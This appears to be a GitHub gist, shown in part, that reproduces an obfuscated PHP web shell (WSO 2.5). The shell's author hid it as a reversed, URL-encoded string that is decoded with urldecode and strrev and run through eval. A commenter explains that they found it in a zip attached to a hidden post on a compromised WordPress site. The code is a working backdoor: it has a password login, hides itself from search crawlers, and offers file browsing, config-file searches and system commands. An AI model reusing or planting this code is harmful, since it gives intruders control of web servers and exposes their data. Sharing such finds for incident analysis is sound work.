2+%3E%3D+%22stnuocca+resU%22%09++++%0D%0A%2C%22trats+ten%22+%3E%3D+%22secivres+gninnur+wohS%22%09++++%0D%0A%2C%22na-+tatsten%22+%3E%3D+%22snoitcennoc+evitca+wohS%22%09++++%0D%0A%2C%22php.%2Agifnoc%2A+b%2F+w%2F+s%2F+rid%22+%3E%3D+%22rid+tnerruc+ni+php.%2Agifnoc%2A+dniF%22%09++++%0D%0A%2C%22php.xedni+b%2F+w%2F+s%2F+rid%22+%3E%3D+%22rid+tnerruc+ni+php.xedni+dniF%22%09++++%0D%0A%2C%22rid%22+%3E%3D+%22yrotceriD+tsiL%22%09%09%0D%0A%28yarra+%3D+sesaila%24%09%0D%0A%29%27niw%27+%3D%3D+so%24%28fi%0D%0A%0D%0A%3Bxaja_esu_tluafed%24%29loob%28+%3D+%5D%27xaja%27+.+%29%5D%27TSOH_PTTH%27%5BREVRES_%24%285dm%5BEIKOOC_%24++++%0D%0A%29%29%5D%27xaja%27+.+%29%5D%27TSOH_PTTH%27%5BREVRES_%24%285dm%5BEIKOOC_%24%28tessi%21%28fi%0D%0A%0D%0A%3B%27%2F%27+%3D.+dwc%24%09%0D%0A%29%27%2F%27+%3D%21+%5D1-%29dwc%24%28nelrts%5Bdwc%24%28fi%0D%0A%7D%0D%0A%3B%29dwc%24+%2C%22%2F%22+%2C%22%5C%5C%22%28ecalper_rts+%3D+dwc%24%09%0D%0A%3B%29dwc_emoh%24+%2C%22%2F%22+%2C%22%5C%5C%22%28ecalper_rts+%3D+dwc_emoh%24%09%0D%0A%7B+%29%27niw%27+%3D%3D+so%24%28fi%0D%0A%3B%29%28dwcteg%40+%3D+dwc%24%0D%0A%3B%29%5D%27c%27%5BTSOP_%24%28ridhc%40%09%0D%0A%29%29%5D%27c%27%5BTSOP_%24%28tessi%28fi%0D%0A%3B%29%28dwcteg%40+%3D+dwc_emoh%24%0D%0A%3B%29%27snoitcnuf_elbasid%27%28teg_ini%40+%3D+snoitcnuf_elbasid%24%0D%0A%0D%0A%3B%290%28gnitroper_rorre++++%0D%0A%29edom_efas%24%21%28fi%0D%0A%3B%29%27edom_efas%27%28teg_ini%40+%3D+edom_efas%24%0D%0A%0D%0A%3B%27xin%27+%3D+so%24%09%0D%0Aesle%0D%0A%3B%27niw%27+%3D+so%24%09%0D%0A%29%22niw%22+%3D%3D+%29%293%2C0%2CSO_PHP%28rtsbus%28rewolotrts%28fi%0D%0A%0D%0A%7D%0D%0A%3B%29%28nigoLosw++++++++%0D%0A%29%29ssap_htua%24+%3D%21+%5D%29%5D%27TSOH_PTTH%27%5BREVRES_%24%285dm%5BEIKOOC_%24%28+%7C%7C+%29%5D%29%5D%27TSOH_PTTH%27%5BREVRES_%24%285dm%5BEIKOOC_%24%28tessi%21%28+fi++++%0D%0A%0D%0A%3B%29ssap_htua%24+%2C%29%5D%27TSOH_PTTH%27%5BREVRES_%24%285dm%28eikooctesOSW++++++++%0D%0A%29%29ssap_htua%24+%3D%3D+%29%5D%27ssap%27%5BTSOP_%24%285dm%28+%26%26+%29%5D%27ssap%27%5BTSOP_%24%28tessi%28fi++++%0D%0A%7B+%29%29ssap_htua%24%28ytpme%21%28fi%0D%0A%0D%0A%7D%0D%0A%3B%29v%24+%2Ck%24%28eikooctes++++%0D%0A%3Bv%24+%3D+%5Dk%24%5BEIKOOC_%24++++%0D%0A%7B+%29v%24+%2Ck%24%28eikooctesOSW+noitcnuf%0D%0A%0D%0A%7D%0D%0A%3B%29%22%3Eerp%2F%3C%3Emrof%2F%3C%3E%27%3E%3E%27%3Deulav+timbus%3Depyt+tupni%3C%3Essap%3Deman+drowssap%3Depyt+tupni%3C+%3AdrowssaP%3Etsop%3Ddohtem+mrof%3C%3Eretnec%3Dngila+erp%3C%22%28eid%09%0D%0A%7B+%29%28nigoLosw+noitcnuf%0D%0A%0D%0A%7D%0D%0A%3B%29EIKOOC_%24%28sehsalspirtsOSW+%3D+EIKOOC_%24++++%0D%0A%3B%29TSOP_%24%28sehsalspirtsOSW+%3D+TSOP_%24%09%0D%0A%7D%09%0D%0A%3B%29yarra%24%28sehsalspirts+%3A+%29yarra%24+%2C%27sehsalspirtsOSW%27%28pam_yarra+%3F+%29yarra%24%28yarra_si+nruter%09%09%0D%0A%7B+%29yarra%24%28sehsalspirtsOSW+noitcnuf%09%0D%0A%7B+%29%29%28cpg_setouq_cigam_teg%28fi%0D%0A%0D%0A%3B%29%275.2%27+%2C%27NOISREV_OSW%27%28enifed%40%0D%0A%3B%290%28emitnur_setouq_cigam_tes%40%0D%0A%3B%290%28timil_emit_tes%40%0D%0A%3B%290%2C%27emit_noitucexe_xam%27%28tes_ini%40%0D%0A%3B%290%2C%27srorre_gol%27%28tes_ini%40%0D%0A%3B%29LLUN%2C%27gol_rorre%27%28tes_ini%40%0D%0A%0D%0A%7D%0D%0A%7D++++%0D%0A%3Btixe++++++++%0D%0A%3B%29%27dnuoF+toN+404+0.1%2FPTTH%27%28redaeh++++++++%0D%0A%7B+%29%29%5D%27TNEGA_RESU_PTTH%27%5BREVRES_%24+%2C%27i%2F%27+.+%29stnegAresu%24+%2C%27%7C%27%28edolpmi+.+%27%2F%27%28hctam_gerp%28fi++++%0D%0A%3B%29%22relbmaR%22+%2C%22xednaY%22+%2C%22revihcra_ai%22+%2C%22toBNSM%22+%2C%22prulS%22+%2C%22elgooG%22%28yarra+%3D+stnegAresu%24++++%0D%0A%7B+%29%29%5D%27TNEGA_RESU_PTTH%27%5BREVRES_%24%28ytpme%21%28fi%0D%0A%0D%0A%3B%271521-swodniW%27+%3D+tesrahc_tluafed%24%0D%0A%3Beurt+%3D+xaja_esu_tluafed%24%0D%0A%3B%27naMseliF%27+%3D+noitca_tluafed%24%0D%0A%3B%225fd%23%22+%3D+roloc%24%0D%0A%3B%22bdca53cddeb321c16c9862123269f30d%22+%3D+ssap_htua%24"; | |
$code=@urldecode($code);$code=@strrev($code);@eval($code); | |
?> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Discovered this on WP instance I sometimes help troubleshoot today. Actually, though, it was hidden in a zip file that was hidden in a hidden post, which I found in the DB. That zip file contained what I called
wp-hack.php
above.So, I had to
urldecode
the string and then (as you can see from thestrrev
above, reverse it.wp-hack-decoded-and-reversed.php
is the result.